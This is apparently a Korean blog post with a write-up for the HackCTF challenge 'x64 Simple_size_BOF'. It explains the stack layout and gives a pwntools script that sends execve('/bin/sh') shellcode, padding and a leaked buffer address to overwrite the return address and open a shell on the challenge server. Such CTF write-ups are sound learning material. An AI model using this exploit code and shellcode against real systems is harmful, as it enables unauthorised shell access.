x64 Simple_size_BOF 풀이
2021. 7. 13. 01:24ㆍHackCTF
728x90
char형에 크기 6D30(10진수로 27,952)인 배열 v4를 선언합니다.
그리고 s를 출력합니다.
main함수 안에는 s가 선언되지 않은걸 보니 전역 변수로서 bss영역에 있을 것 같네요.
그리고 v4의 주소값을 출력해준 뒤에 v4를 입력받습니다.
이렇게만 봐서는 s가 무엇을 하는 변수인지 잘 모르겠으니 직접 실행파일을 실행시켜보겠습니다.
s는 필요없는 변수였습니다.
이제 어떻게 문제를 풀지 생각해보겠습니다.
먼저 v4에 쉘코드를 집어넣고 그 뒤에 있는 buf 영역은 쓰레기 값으로 채우고,
sfp(long long이니까 8byte)도 쓰레기 값으로 채워줍니다.
그 뒤에 있는 ret 부분에는 아까 printf에서 출력한 buf 주소를 가져다 넣으면 쉘코드가 실행될 것 같습니다.
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3005)
shell="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" #31byte
p.recvuntil(": ")
juso=int(p.recv(14),16)
a=''
a+=shell
a+='a'*27929
a+=p64(juso)
p.sendline(a)
p.interactive()
v4 배열이 long long 타입이니까 8byte일거라는건 사실 찍은 건데, 맞아서 다행이네요.
점점 Buffer Overflow에 익숙해지고 있는 듯한 기분이 듭니다.
728x90
'HackCTF' 카테고리의 다른 글
Offset 풀이 (0) | 2021.07.14 |
---|---|
Simple_Overflow_ver_2 풀이 (0) | 2021.07.14 |
내 버퍼가 흘러넘친다!!! 풀이 (0) | 2021.07.12 |
x64 Buffer Overflow 풀이 (0) | 2021.06.16 |
Basic_BOF #2 풀이 (0) | 2021.06.16 |